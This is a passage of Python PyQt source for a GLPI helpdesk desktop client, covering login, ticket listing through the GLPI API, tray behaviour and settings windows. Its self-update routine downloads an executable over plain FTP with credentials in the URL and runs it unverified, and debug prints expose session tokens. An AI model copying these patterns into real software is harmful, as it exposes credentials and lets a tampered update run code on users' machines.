self.destroy()\n self.exec_ = MainWin()\n self.tray_icon.hide()\n\n # pass if no connection to server\n except Exception as e:\n self.authErrorLabel.setText(_(\"Connection error\"))\n logging.error('Error at %s', 'division', exc_info=e)\n pass\n\n # exit with filled vars\n return sessionToken, headersSession, userName, userFirstname, userRealname # authStatusLabel\n\n # press Enter to auth\n def keyPressEvent(self, event):\n key = event.key()\n if key == Qt.Key_Enter or key == Qt.Key_Return:\n self.auth()\n\n def closeEvent(self, event):\n event.ignore()\n\n # HIDE (MINIMIZE) APP TO TRAY ON CLOSE\n # if checked checkbox hideAppWindowToTrayOnClose(1) in config file\n if hideAppWindowToTrayOnClose == \"1\":\n self.hide()\n self.tray_icon.showMessage(\n appName,\n appName + \" \" + \"is minimized to the system tray\",\n #QSystemTrayIcon.Information,\n 2000\n )\n # minimize window to windows panel\n if hideAppWindowToTrayOnClose == \"0\":\n self.setWindowState(self.windowState() | QWindow.Minimized)\n\n # about button\n def aboutWinShow(self):\n self.exec_ = AboutWin()\n\n # settings button\n def settingsWinShow(self):\n self.exec_ = SettingsWin()\n\n # app close func\n def appClose(self):\n\n self.tray_icon.hide()\n QCoreApplication.instance().quit()\n\n # debug\n print(sessionToken)\n\n # if session token EXISTS\n #if not sessionToken or adminSessionToken is None:\n # sessionKillCommon()\n\n # kill session common func\n sessionKillCommon()\n\n\n# main win\nclass MainWin(QMainWindow):\n def __init__(self):\n super().__init__()\n self.initUI()\n\n # update app\n def appUpdate(self):\n\n # spinner = QtWaitingSpinner(self, True, True, Qt.ApplicationModal)\n # spinner.start() # starts spinning\n # self.statusbar.showMessage('Программа обновляется. Это займет несколько секунд...')\n #\n # transport = paramiko.Transport((sftpServerHost, int(sftpServerPort)))\n # transport.connect(username=sftpServerUser, password=sftpServerPass)\n #\n # sftp = paramiko.SFTPClient.from_transport(transport)\n # sftp.get(sftpServerRootPath + \"glpiClient/glpiClient.exe\", \"update/glpiClient.exe\")\n #\n # sftp.close()\n #\n # self.statusbar.showMessage('')\n # spinner.stop()\n #\n # # close app after update\n # sessionKillCommon()\n # subprocess.call([r'updater.cmd'])\n\n if os.path.exists(updateDirPath):\n # print(\"Update exists!\")\n\n if os.path.isfile(updateDirPath):\n # print(\"Update is not a directory! Remove file Update\")\n os.remove(updateDirPath, dir_fd=None)\n else:\n # print(\"Update is a directory! Remove directory Update\")\n shutil.rmtree(updateDirPath)\n\n # print(\"Create directory Update\")\n os.mkdir(updateDirPath, mode=0o777, dir_fd=None)\n else:\n # print(\"Update DOESN'T exist! Create directory Update\")\n os.mkdir(updateDirPath, mode=0o777, dir_fd=None)\n\n\n if os.path.exists(updateAppDirPath):\n # print(\"./update/HelpdeskClient exists!\")\n\n if os.path.isfile(updateAppDirPath):\n # print(\"./update/HelpdeskClient is not a directory! Remove file ./update/HelpdeskClient\")\n os.remove(updateAppDirPath, dir_fd=None)\n else:\n # print(\"./update/HelpdeskClient is a directory! Remove directory ./update/HelpdeskClient\")\n shutil.rmtree(updateAppDirPath)\n\n # print(\"Create directory ./update/HelpdeskClient\")\n os.mkdir(updateAppDirPath, mode=0o777, dir_fd=None)\n else:\n # print(\"./update/HelpdeskClient DOESN'T exist! Create directory ./update/HelpdeskClient\")\n os.mkdir(updateAppDirPath, mode=0o777, dir_fd=None)\n\n\n if os.path.exists(updateConfigDirPath):\n # print(\"config exists!\")\n\n if os.path.isfile(updateConfigDirPath):\n # print(\"config is not a directory! Remove file config\")\n os.remove(updateConfigDirPath, dir_fd=None)\n else:\n # print(\"config is a directory! Remove directory config\")\n shutil.rmtree(updateConfigDirPath)\n\n # print(\"Create directory config\")\n os.mkdir(updateConfigDirPath, mode=0o777, dir_fd=None)\n else:\n # print(\"config DOESN'T exist! Create directory config\")\n os.mkdir(updateConfigDirPath, mode=0o777, dir_fd=None)\n\n try:\n # update updater from ftp\n wget.download(\n \"ftp://\" + ftpServerUser + \":\" + ftpServerPass + \"@\" + ftpServerHost + \":\" + ftpServerPort + ftpPath + appDirName + \"/\" + updaterExeFile,\n out=updateAppDirPath)\n\n # update config from ftp\n wget.download(\n \"ftp://\" + ftpServerUser + \":\" + ftpServerPass + \"@\" + ftpServerHost + \":\" + ftpServerPort + ftpPath + appDirName + \"/config/\" + configFileName,\n out=updateConfigDirPath)\n\n # kill session\n sessionKillCommon()\n\n try:\n copy_tree(updateAppDirPath, \"\")\n except Exception as e:\n print(_(\"Failed to download an update\"))\n QMessageBox.about(self, appName, _(\"Failed to download an update\"))\n logging.error('Error at %s', 'division', exc_info=e)\n\n # start updater\n os.startfile(updaterExeFile)\n\n # close main app\n self.appClose()\n\n except Exception as e:\n print(_(\"Failed to download an update\"))\n QMessageBox.about(self, appName, _(\"Failed to download an update\"))\n logging.error('Error at %s', 'division', exc_info=e)\n # close main app\n self.appClose()\n\n # TIMER RUNNING IN BACKGROUND\n def Time(self):\n\n # debug TICKS OUTPUT IN CONSOLE EVERY SECONDS - IT'S ANNOYING\n #print(strftime(\"%H\" + \":\" + \"%M\" + \":\" + \"%S\"))\n\n # # check update every hour & update if there's new version\n # if strftime(\"%M\" + \":\" + \"%S\") == \"00:00\":\n # print(\"HOUR!\")\n # appVersionCheck()\n # if updateMode == 1:\n # self.appUpdate()\n\n # LOGOUT at 00:00:00\n if strftime(\"%H\" + \":\" + \"%M\" + \":\" + \"%S\") == \"00:00:00\" or \\\n strftime(\"%H\" + \":\" + \"%M\" + \":\" + \"%S\") == \"00:00:01\" or \\\n strftime(\"%H\" + \":\" + \"%M\" + \":\" + \"%S\") == \"00:00:02\":\n print(\"MIDNIGHT!\")\n self.sessionKill()\n\n def onTrayIconActivated(self, reason):\n self.activateWindow()\n self.show()\n self.setWindowState(Qt.WindowNoState)\n # if reason == 1:\n # print(\"onTrayIconActivated:\", reason)\n # self.activateWindow()\n # self.show()\n #\n # if reason == 2 or 3:\n # print(\"onTrayIconActivated:\", reason)\n # self.activateWindow()\n # self.show()\n\n def initUI(self):\n QMainWindow.__init__(self)\n\n # check actual app version\n appVersionActual = appVersionCheck()\n\n # remoteUpdateMarkerCheck\n remoteUpdateMarker = remoteUpdateMarkerCheck()\n\n global updateMode\n\n # if there's new version and remoteUpdateMarker = 1 - enter updateMode\n if (float(appVersionActual) > float(appVersion)) and int(remoteUpdateMarker) == 1:\n updateMode = 1\n else:\n updateMode = 0\n\n # debug\n print(\"updateMode: \" + str(updateMode))\n print(\"appAutoUpdate: \" + str(appAutoUpdate))\n\n self.timer = QTimer(self)\n self.timer.timeout.connect(self.Time)\n self.timer.start(1000)\n\n # init QSystemTrayIcon\n self.tray_icon = QSystemTrayIcon(self)\n self.tray_icon.setIcon(QIcon(\"img\\ico.png\"))\n\n # popup on trayicon hover\n self.tray_icon.setToolTip(appName)\n\n settings_action = QAction(_(\"Settings\"), self)\n settings_action.triggered.connect(self.settingsWinShow)\n\n about_action = QAction(_(\"About...\"), self)\n about_action.triggered.connect(self.aboutWinShow)\n\n quit_action = QAction(_(\"Quit\"), self)\n quit_action.triggered.connect(self.appClose)\n\n tray_menu = QMenu()\n\n tray_menu.addAction(settings_action)\n tray_menu.addAction(about_action)\n tray_menu.addAction(quit_action)\n\n self.tray_icon.setContextMenu(tray_menu)\n self.tray_icon.show()\n self.tray_icon.activated.connect(self.onTrayIconActivated)\n\n # create mainwin\n\n # disable resize win\n #self.setFixedSize(900, 700)\n\n # enable resize win\n self.setMinimumSize(700, 450)\n self.center()\n self.setWindowTitle(appName)\n self.setWindowIcon(QIcon('img\\ico.png'))\n\n # status bar\n self.statusbar = self.statusBar()\n self.statusbar.setStyleSheet(\"QStatusBar{padding:8px;background:rgba(0,0,0,0);color:black;font-weight:bold;}\")\n self.statusbar.showMessage('')\n\n # CENTRAL WIDGET\n\n # self.setMinimumSize(QSize(480, 80)) # set window ышяу - disable windows expand\n # self.setWindowTitle(\"Работа с QTableWidget\") # set window header\n central_widget = QWidget(self) # create central widget\n self.setCentralWidget(central_widget) # set central widget\n\n # create QGridLayout\n grid_layout = QGridLayout()\n grid_layout.setSpacing(10)\n central_widget.setLayout(grid_layout)\n\n # login label create\n userNameLabel = QLabel(self)\n userNameLabel.setText(\n userFirstname + ' ' + userRealname + ' ' + '(' + userName + ')')\n\n # logout button create\n self.logoutButton = QPushButton(_(\"Sign out\"), self)\n self.logoutButton.setFixedSize(80, 30)\n self.logoutButton.clicked.connect(self.sessionKill)\n\n # add ticket button\n self.ticketAddButton = QPushButton(_(\"Create new ticket\"), self)\n self.ticketAddButton.setFixedSize(250, 30)\n self.ticketAddButton.clicked.connect(self.addTicketWinShow)\n\n # mytickets head label\n myticketsHeadLabel = QLabel(self)\n myticketsHeadLabel.setText(_(\"My tickets\"))\n # head font\n myticketsHeadLabelFont = QFont(\"Arial\", 16, QFont.Bold)\n myticketsHeadLabel.setFont(myticketsHeadLabelFont)\n\n # add checkbox OPENTICKETS\n self.checkboxTicketsOpen = QCheckBox(_(\"Open tickets only\"), self)\n self.checkboxTicketsOpen.setChecked(True)\n\n # label FROM\n self.myticketsDateFromLabel = QLabel(self)\n self.myticketsDateFromLabel.setText(_(\"From\"))\n\n # DATEFROM widget\n self.dateFromWidget = QDateTimeEdit(QDate.currentDate().addMonths(-3), self)\n self.dateFromWidget.setCalendarPopup(True)\n self.dateFromWidget.setMinimumDate(QDate(1970, 1, 1))\n self.dateFromWidget.setMaximumDate(QDate(2099, 12, 31))\n self.dateFromWidget.setDisplayFormat(\"yyyy-MM-dd\")\n\n def getDateFrom():\n global dateFromStr\n dateFrom = self.dateFromWidget.date()\n dateFromStr = str(dateFrom.toPyDate())\n print(type(dateFromStr))\n print(dateFromStr)\n\n # debug\n # # A push button\n # btn_get = QPushButton(\"Get Date From\", self)\n # btn_get.move(100, 250)\n # btn_get.clicked.connect(getDateFrom)\n\n # label TO\n self.myticketsDateToLabel = QLabel(self)\n self.myticketsDateToLabel.setText(_(\"To\"))\n\n # DATETO widget\n self.dateToWidget = QDateTimeEdit(QDate.currentDate(), self)\n self.dateToWidget.setCalendarPopup(True)\n self.dateToWidget.setMinimumDate(QDate(1970, 1, 1))\n self.dateToWidget.setMaximumDate(QDate(2099, 12, 31))\n self.dateToWidget.setDisplayFormat(\"yyyy-MM-dd\")\n\n # DATETO func\n def getDateTo():\n global dateToStr\n dateTo = self.dateToWidget.date()\n dateToStr = str(dateTo.toPyDate())\n print(type(dateToStr))\n print(dateToStr)\n\n # debug\n # # A push button\n # btn_get = QPushButton(\"Get Date To\", self)\n # btn_get.move(100, 450)\n # btn_get.clicked.connect(getDateTo)\n\n # # add DATEFROM button\n # self.ticketDateFromButton = QPushButton('...', self)\n # self.ticketDateFromButton.setFixedSize(30, 30)\n # self.ticketDateFromButton.clicked.connect(self.calendarShow)\n\n ################\n\n\n # GET tickets list\n def getTicketsList():\n\n # if update mode ON - update app on ticket list renew\n if updateMode == 1 and appAutoUpdate == \"1\":\n self.appUpdate()\n\n spinner = QtWaitingSpinner(self, True, True, Qt.ApplicationModal)\n spinner.start() # starts spinning\n\n #self.exec_ = SpinnerWin()\n\n self.statusbar.showMessage(_(\"Loading...\"))\n\n # get date from & to\n getDateFrom()\n getDateTo()\n\n # debug\n print(\"dateFrom: \" + dateFromStr)\n print(\"dateTo: \" + dateToStr)\n\n # if checked checkbox OPENTICKETS show only UNRESOLVED tickets\n if self.checkboxTicketsOpen.isChecked():\n ticketSearchStatus = \"notold\"\n\n # if UNchecked checkbox OPENTICKETS show ALL tickets\n else:\n ticketSearchStatus = \"all\"\n\n # request headers\n headersGet = {'Content-Type': 'application/json',\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n\n # request\n responseMyTicketsGet = requests.get(\n glpiApiBaseUrl + '/search/Ticket?'\n 'is_deleted=0&'\n 'as_map=0&'\n 'range=0-999999&'\n 'criteria[0][field]=12&criteria[0][searchtype]=equals&criteria[0][value]=' + ticketSearchStatus + '&'\n 'criteria[6][link]=AND&'\n #'criteria[2][field]=15&criteria[2][searchtype]=morethan&_select_criteria[2][value]=0&_criteria[2][value]=2019-06-06+00%3A00&criteria[2][value]=2019-06-06+00%3A00&'\n 'criteria[2][field]=15&criteria[2][searchtype]=morethan&_select_criteria[2][value]=0&_criteria[2][value]=' + dateFromStr + '+00%3A00&criteria[2][value]=' + dateFromStr + '+00%3A00&'\n 'criteria[6][link]=AND&'\n 'criteria[7][field]=15&criteria[7][searchtype]=lessthan&_select_criteria[7][value]=0&_criteria[7][value]=' + dateToStr + '+23%3A59&criteria[7][value]=' + dateToStr + '+23%3A59&'\n 'criteria[6][link]=AND&'\n 'criteria[6][field]=22&criteria[6][searchtype]=equals&criteria[6][value]=' + str(userId),\n headers=headersGet)\n\n # debug\n # print(responseMyTicketsGet)\n\n # pycharm 2018 x32 python 3.4\n myTicketsListJson = responseMyTicketsGet.json()\n\n # debug\n print(myTicketsListJson)\n print(type(myTicketsListJson))\n\n # if success getting json dict with user's tickets\n if type(myTicketsListJson).__name__ == 'dict':\n\n # if user have 0 tickets\n if myTicketsListJson['totalcount'] == 0:\n print(_(\"You have no tickets\"))\n\n # TABLE WITH NO TICKETS\n\n table = QTableWidget(self)\n table.setColumnCount(1)\n\n header = table.horizontalHeader()\n header.setStretchLastSection(True)\n\n # set table's headers\n table.setHorizontalHeaderLabels([_(\"Tickets not found\")])\n\n # set header's alignment\n table.horizontalHeaderItem(0).setTextAlignment(Qt.AlignHCenter)\n\n # if a user has >0 tickets\n if myTicketsListJson['totalcount'] > 0:\n\n myTicketsList = myTicketsListJson['data']\n myTicketsCount = len(myTicketsList)\n\n # debug\n print(userId)\n\n ################\n\n ################\n\n # TABLE OF TICKETS\n\n table = QTableWidget(self) # create table\n table.setColumnCount(4) # set quantity of columns\n table.setRowCount(myTicketsCount) # and one string in table\n table.setEditTriggers(QTableWidget.NoEditTriggers) # disable edit cells\n table.setVerticalScrollMode(QAbstractItemView.ScrollPerPixel) # smooth scroll\n table.setSelectionBehavior(QTableWidget.SelectRows) # select full row instead of one cell\n table.verticalHeader().setVisible(False) # hide vertical headers (number of row)\n\n # headers of table style\n table.horizontalHeader().setStyleSheet(\"\"\"\n QHeaderView::section {padding: 8px; background-color: lightgrey; border: 1px; }\n \"\"\")\n\n header = table.horizontalHeader()\n\n # SORT BY TABLE HEADER CLICK\n table.setSortingEnabled(True)\n\n # stretch last column\n #header.setStretchLastSection(True)\n\n # resize width of ALL columns to content\n #header.setSectionResizeMode(QHeaderView.ResizeToContents)\n\n # headers of table\n itemTableHeaderId = QTableWidgetItem('ID')\n #itemTableHeaderId.setBackground(QColor(255, 255, 0))\n itemTableHeaderId.setToolTip(_(\"Ticket ID\"))\n itemTableHeaderId.setFont(QFont(\"Arial\", 10, QFont.Bold))\n table.setHorizontalHeaderItem(0, itemTableHeaderId)\n header.setSectionResizeMode(0, QHeaderView.ResizeToContents) # resize column to contents\n\n itemTableHeaderCreateDate = QTableWidgetItem(_(\"Creation date\"))\n itemTableHeaderCreateDate.setToolTip(_(\"Ticket creation date and time\"))\n table.setSizeAdjustPolicy(QAbstractScrollArea.AdjustToContents)\n itemTableHeaderCreateDate.setFont(QFont(\"Arial\", 10, QFont.Bold))\n table.setHorizontalHeaderItem(1, itemTableHeaderCreateDate)\n header.setSectionResizeMode(1, QHeaderView.ResizeToContents) # resize column to contents\n\n itemTableHeaderName = QTableWidgetItem(_(\"Name\"))\n #itemTableHeaderName.ResizeToContents\n itemTableHeaderName.setToolTip(_(\"Ticket name\"))\n itemTableHeaderName.setFont(QFont(\"Arial\", 10, QFont.Bold))\n table.setHorizontalHeaderItem(2, itemTableHeaderName)\n header.setSectionResizeMode(2, QHeaderView.Stretch) # stretch column\n\n itemTableHeaderStatus = QTableWidgetItem(_(\"Status\"))\n itemTableHeaderStatus.setToolTip(_(\"Ticket status\"))\n itemTableHeaderStatus.setFont(QFont(\"Arial\", 10, QFont.Bold))\n table.setHorizontalHeaderItem(3, itemTableHeaderStatus)\n header.setSectionResizeMode(3, QHeaderView.ResizeToContents) # resize column to contents\n\n # fill table with mytickets\n for myTicketJson in range(myTicketsCount):\n myTicket = (myTicketsList[myTicketJson])\n\n # ticket id\n myTicketId = myTicket['2']\n\n # ticket name\n myTicketName = myTicket['1']\n\n # ticket create date\n myTicketCreateDate = myTicket['15']\n\n # ticket status\n myTicketStatusId = myTicket['12']\n\n # debug\n print(myTicketJson)\n print(myTicketId)\n print(myTicketName)\n print(myTicketCreateDate)\n print(myTicketStatusId)\n print('\\r')\n\n # convert ticket status from ID to HUMAN READABLE\n if myTicketStatusId == 1:\n myTicketStatus = _(\"New\")\n elif myTicketStatusId == 2:\n myTicketStatus = _(\"In progress (assigned)\")\n elif myTicketStatusId == 3:\n myTicketStatus = _(\"In progress (planned)\")\n elif myTicketStatusId == 4:\n myTicketStatus = _(\"Awaiting decision\")\n elif myTicketStatusId == 5:\n myTicketStatus = _(\"Solved\")\n elif myTicketStatusId == 6:\n myTicketStatus = _(\"Closed\")\n\n # fill table\n table.setItem(myTicketJson, 0, QTableWidgetItem(str(myTicketId)))\n table.setItem(myTicketJson, 1, QTableWidgetItem(str(myTicketCreateDate)))\n table.setItem(myTicketJson, 2, QTableWidgetItem(str(myTicketName)))\n table.setItem(myTicketJson, 3, QTableWidgetItem(str(myTicketStatus)))\n # table.setItem(myTicketJson, 3, QTableWidgetItem(''))\n\n # sort auto by date\n table.sortItems(1, Qt.AscendingOrder)\n\n ################\n\n\n # show ticket win func\n def showTicketWin():\n\n spinner = QtWaitingSpinner(self, True, True, Qt.ApplicationModal)\n spinner.start() # starts spinning\n\n # show status in statusbar\n self.statusbar.showMessage(_(\"Loading...\"))\n\n global myTicketIdInTableOfTickets\n index = table.selectedIndexes()[0]\n myTicketIdInTableOfTickets = table.model().data(index)\n #print(\"TicketID: \" + str(myTicketIdInTableOfTickets))\n\n # open show ticket win\n self.exec_ = ShowTicketWin()\n\n spinner.stop()\n\n # hide status in statusbar\n self.statusbar.showMessage('')\n\n # # get and print ID of ticket\n # def doubleClicked_table(self):\n # index = table.selectedIndexes()[0]\n # myTicketIdInTableOfTickets = table.model().data(index)\n # print(\"TicketID: \" + str(myTicketIdInTableOfTickets))\n\n # create a connection to the double click on table event\n table.doubleClicked.connect(showTicketWin)\n\n # username label show\n grid_layout.addWidget(userNameLabel, 0, 1, alignment=Qt.AlignRight)\n\n # logout btn\n grid_layout.addWidget(self.logoutButton, 1, 1, alignment=Qt.AlignRight)\n\n # mytickets label show\n grid_layout.addWidget(myticketsHeadLabel, 2, 0, 1, 2, alignment=Qt.AlignCenter)\n\n\n ### DATE WIDGET WITH DATE GRID IN GENERAL GRID\n\n date_widget = QWidget(self) # create widget date\n\n grid_date = QGridLayout()\n grid_date.setSpacing(10)\n date_widget.setLayout(grid_date) # place grid in widget\n\n # LABEL DATEFROM in grid\n grid_date.addWidget(self.myticketsDateFromLabel, 0, 0, 1, 1, alignment=Qt.AlignLeft)\n\n # DATEFROM in grid\n grid_date.addWidget(self.dateFromWidget, 0, 1, 1, 1, alignment=Qt.AlignLeft)\n\n # LABEL DATETO in grid\n grid_date.addWidget(self.myticketsDateToLabel, 0, 2, 1, 1, alignment=Qt.AlignLeft)\n\n # DATETO in grid\n grid_date.addWidget(self.dateToWidget, 0, 3, 1, 1, alignment=Qt.AlignLeft)\n\n ### DATE GRID END\n\n\n # place windget GRID_DATE into cell of general grid\n grid_layout.addWidget(date_widget, 4, 0, 1, 1, alignment=Qt.AlignLeft)\n\n # checkbox OPENTICKETS in grid\n grid_layout.addWidget(self.checkboxTicketsOpen, 5, 0, 1, 1, alignment=Qt.AlignLeft)\n\n # table of tickets show in grid\n grid_layout.addWidget(table, 6, 0, 1, 2)\n\n # refresh btn\n grid_layout.addWidget(self.refreshButton, 7, 0, 1, 1, alignment=Qt.AlignCenter)\n\n # add ticket button grid\n grid_layout.addWidget(self.ticketAddButton, 7, 1, 1, 1, alignment=Qt.AlignCenter)\n\n # # app update button\n # if updateMode == 1:\n # # self.appUpdateButton = QPushButton('App update', self)\n # # self.appUpdateButton.setFixedSize(250, 30)\n # # self.appUpdateButton.clicked.connect(self.appUpdate)\n # # grid_layout.addWidget(self.appUpdateButton, 8, 0, 1, 2, alignment=Qt.AlignCenter)\n #\n # # auto update\n # self.appUpdate()\n\n spinner.stop()\n\n self.statusbar.showMessage('')\n\n # refresh tickets button create\n self.refreshButton = QPushButton(_(\"Update a list of tickets\"), self)\n self.refreshButton.setFixedSize(250, 30)\n self.refreshButton.clicked.connect(getTicketsList)\n\n # show & also refresh by button ticketsList\n getTicketsList()\n\n # clear tmp dir at login\n try:\n files = glob.glob('./tmp/*')\n for f in files:\n os.remove(f)\n except Exception as e:\n print(\"Failed to delete all files\")\n logging.error('Error at %s', 'division', exc_info=e)\n\n self.show()\n\n ## KILL SESSION\n def sessionKill(self):\n # запрос на session kill\n headersSessionKill = {'Content-Type': 'application/json',\n 'App-Token': appToken,\n 'Session-Token': sessionToken,\n }\n responseSessionKill = requests.get(glpiApiBaseUrl + '/killSession', headers=headersSessionKill)\n\n # del sessionToken\n\n # debug\n print(\"LOGOUT\")\n\n # debug\n print(headersSessionKill)\n print(responseSessionKill.content)\n # print(sessionToken)\n\n # NULL sessiontoken, close mainwin, show authwin\n self.sessionTokenNull()\n self.destroy()\n self.tray_icon.hide()\n self.timer.stop()\n self.exec_ = AuthWin()\n\n # sessiontoken null\n def sessionTokenNull(self):\n global sessionToken\n sessionToken = None\n return sessionToken\n\n # center window\n def center(self):\n qr = self.frameGeometry()\n cp = QDesktopWidget().availableGeometry().center()\n qr.moveCenter(cp)\n self.move(qr.topLeft())\n\n # add ticket button\n def addTicketWinShow(self):\n self.exec_ = AddTicketWin()\n\n # # DATEFROM button\n # def calendarShow(self):\n # self.exec_ = calendar()\n\n # about button\n def aboutWinShow(self):\n self.exec_ = AboutWin()\n\n # settings button\n def settingsWinShow(self):\n self.exec_ = SettingsWin()\n\n def closeEvent(self, event):\n event.ignore()\n\n # HIDE (MINIMIZE) APP TO TRAY ON CLOSE\n if hideAppWindowToTrayOnClose == \"1\":\n self.hide()\n self.tray_icon.showMessage(\n appName,\n appName + \" \" + _(\"is minimized to the system tray\"),\n #QSystemTrayIcon.Information,\n 2000\n )\n # minimize window to windows panel\n if hideAppWindowToTrayOnClose == \"0\":\n self.setWindowState(self.windowState() | QWindow.Minimized)\n\n # app close func\n def appClose(self):\n\n self.tray_icon.hide()\n QCoreApplication.instance().quit()\n\n # debug\n print(sessionToken)\n\n # if session token EXIST\n #if not sessionToken or adminSessionToken is None:\n # sessionKillCommon()\n\n # kill session common func\n sessionKillCommon()\n\n\n# ABOUT WIN\nclass AboutWin(QWidget):\n def __init__(self):\n super().__init__()\n\n # block parent window while open this window\n self.setWindowModality(Qt.ApplicationModal)\n self.initUI()\n\n def initUI(self):\n # create About win\n self.setFixedSize(400, 300)\n self.center()\n self.setWindowTitle(_(\"About...\"))\n self.setWindowIcon(QIcon('img\\ico.png'))\n\n # hide MINIMIZE & EXPAND buttons\n self.setWindowFlags(Qt.CustomizeWindowHint | Qt.WindowCloseButtonHint )\n\n self.glpiPic = QLabel(self)\n glpiPicPixmap = QPixmap('img\\ico64x64.png')\n self.glpiPic.setPixmap(glpiPicPixmap)\n\n # label app\n self.aboutAppHeadLabel = QLabel(self)\n self.aboutAppHeadLabel.setFont(QFont(\"Decorative\", 8))\n self.aboutAppHeadLabel.setTextInteractionFlags(Qt.TextSelectableByMouse)\n self.aboutAppHeadLabel.setText(appName + \" \" + \"v\" + appVersion)\n\n # author contact\n self.aboutAuthorContact = QLabel(self)\n self.aboutAuthorContact.setFont(QFont(\"Decorative\", 8))\n self.aboutAuthorContact.setAlignment(Qt.AlignCenter)\n self.aboutAuthorContact.setTextInteractionFlags(Qt.TextSelectableByMouse)\n self.aboutAuthorContact.setText(_(\"Author Contact\") + \":\" +\n '\\n' + authorEmail)\n\n # app homepage\n self.aboutAppHomepage = QLabel(self)\n self.aboutAppHomepage.setFont(QFont(\"Decorative\", 8))\n self.aboutAppHomepage.setAlignment(Qt.AlignCenter)\n self.aboutAppHomepage.setTextInteractionFlags(Qt.TextSelectableByMouse)\n self.aboutAppHomepage.setText(_(\"App Homepage\") + \":\" +\n '\\n' + appHomepage)\n\n # app translation\n self.aboutAppTranslations = QLabel(self)\n self.aboutAppTranslations.setFont(QFont(\"Decorative\", 8))\n self.aboutAppTranslations.setAlignment(Qt.AlignCenter)\n self.aboutAppTranslations.setTextInteractionFlags(Qt.TextSelectableByMouse)\n self.aboutAppTranslations.setText(_(\"Interface Translations\") + \":\" +\n '\\n' + \"Italian - trisosamu\")\n\n # OK-exit button create\n self.aboutOkButton = QPushButton(_(\"OK\"), self)\n self.aboutOkButton.setFixedSize(80, 30)\n self.aboutOkButton.clicked.connect(self.aboutClose)\n\n # grid ABOUT\n\n gridAbout = QGridLayout()\n gridAbout.addWidget(self.glpiPic, 0, 0, 1, 1, alignment=Qt.AlignCenter)\n gridAbout.addWidget(self.aboutAppHeadLabel, 1, 0, 1, 1, alignment=Qt.AlignCenter)\n gridAbout.addWidget(self.aboutAuthorContact, 2, 0, 1, 1, alignment=Qt.AlignCenter)\n gridAbout.addWidget(self.aboutAppHomepage, 3, 0, 1, 1, alignment=Qt.AlignCenter)\n gridAbout.addWidget(self.aboutAppTranslations, 4, 0, 1, 1, alignment=Qt.AlignCenter)\n gridAbout.addWidget(self.aboutOkButton, 5, 0, 1, 1, alignment=Qt.AlignCenter)\n self.setLayout(gridAbout)\n\n self.show()\n\n # center window\n def center(self):\n qr = self.frameGeometry()\n cp = QDesktopWidget().availableGeometry().center()\n qr.moveCenter(cp)\n self.move(qr.topLeft())\n\n def aboutClose(self):\n self.close()\n\n\n# SETTINGS WIN\nclass SettingsWin(QWidget):\n def __init__(self):\n super().__init__()\n\n # block parent window while open this window\n self.setWindowModality(Qt.ApplicationModal)\n self.initUI()\n\n def initUI(self):\n # create Settings win\n self.setFixedSize(600, 240)\n self.center()\n self.setWindowTitle(_(\"Settings\"))\n self.setWindowIcon(QIcon('img\\ico.png'))\n\n # hide MINIMIZE & EXPAND buttons\n self.setWindowFlags(Qt.CustomizeWindowHint | Qt.WindowCloseButtonHint)\n\n # lang option\n self.settingsAppLangOption = QLabel(self)\n self.settingsAppLangOption.setFont(QFont(\"Decorative\", 9))\n self.settingsAppLangOption.setText(_(\"Language\") + ':')\n\n # lang select option\n self.settingsAppLangSelect = QComboBox()\n self.settingsAppLangSelect.setFont(QFont(\"Decorative\", 9))\n\n # get lang dirs list\n langDirs = [f for f in listdir(langDirsPath) if not isfile(join(langDirsPath, f))]\n\n # debug\n # print(type(langDirs))\n # print(langDirs)\n # print(len(langDirs))\n\n # put langs to dropdown menu\n for x in range(len(langDirs)):\n lang = langDirs[x]\n # print(type(lang))\n # print(lang)\n self.settingsAppLangSelect.addItem(lang)\n self.settingsAppLangSelect.setCurrentText(appLang)\n\n # autoupdate option\n self.settingsAutoUpdateOption = QLabel(self)\n self.settingsAutoUpdateOption.setFont(QFont(\"Decorative\", 9))\n self.settingsAutoUpdateOption.setText(_(\"App autoupdate\") + ':')\n\n # add checkbox autoupdate\n self.settingsCheckboxAutoUpdate = QCheckBox(self)\n\n # if checked checkbox autoupdate IS TRUE(1) in config file\n if appAutoUpdate == \"1\":\n # check checkboxRememberLogin\n self.settingsCheckboxAutoUpdate.setChecked(True)\n if appAutoUpdate == \"0\":\n # UNcheck checkboxRememberLogin\n self.settingsCheckboxAutoUpdate.setChecked(False)\n\n # hideAppWindowToTrayAtStartup option\n self.settingsHideAppWindowToTrayAtStartup = QLabel(self)\n self.settingsHideAppWindowToTrayAtStartup.setFont(QFont(\"Decorative\", 9))\n self.settingsHideAppWindowToTrayAtStartup.setText(_(\"Hide app window at startup\") + ':')\n\n # add checkbox hideAppWindowToTrayAtStartup\n self.settingsCheckboxHideAppWindowToTrayAtStartup = QCheckBox(self)\n\n # if checked checkbox hideAppWindowToTrayAtStartup(1) in config file\n if hideAppWindowToTrayAtStartup == \"1\":\n # check checkboxRememberLogin\n self.settingsCheckboxHideAppWindowToTrayAtStartup.setChecked(True)\n if hideAppWindowToTrayAtStartup == \"0\":\n # UNcheck checkboxRememberLogin\n self.settingsCheckboxHideAppWindowToTrayAtStartup.setChecked(False)\n\n # option\n self.settingsHideAppWindowToTrayOnClose = QLabel(self)\n self.settingsHideAppWindowToTrayOnClose.setFont(QFont(\"Decorative\", 9))\n self.settingsHideAppWindowToTrayOnClose.setText(_(\"Hide app window to tray on App close\") + ':')\n\n # add checkbox hideAppWindowToTrayAtStartup\n self.settingsCheckboxHideAppWindowToTrayOnClose = QCheckBox(self)\n\n # if checked checkbox hideAppWindowToTrayAtStartup(1) in config file\n if hideAppWindowToTrayOnClose == \"1\":\n # check checkboxRememberLogin\n self.settingsCheckboxHideAppWindowToTrayOnClose.setChecked(True)\n if hideAppWindowToTrayOnClose == \"0\":\n # UNcheck checkboxRememberLogin\n self.settingsCheckboxHideAppWindowToTrayOnClose.setChecked(False)\n\n # OK button create\n self.settingsOkButton = QPushButton(_(\"OK\"), self)\n self.settingsOkButton.setFixedSize(80, 30)\n self.settingsOkButton.clicked.connect(self.settingsSave)\n\n # Cancel button create\n self.settingsExitButton = QPushButton(_(\"Cancel\"), self)\n self.settingsExitButton.setFixedSize(80, 30)\n self.settingsExitButton.clicked.connect(self.settingsClose)\n\n # grid\n gridSettings = QGridLayout()\n gridSettings.addWidget(self.settingsAppLangOption, 1, 0, 1, 1, alignment=Qt.AlignCenter)\n gridSettings.addWidget(self.settingsAppLangSelect, 1, 1, 1, 1, alignment=Qt.AlignCenter)\n gridSettings.addWidget(self.settingsAutoUpdateOption, 2, 0, 1, 1, 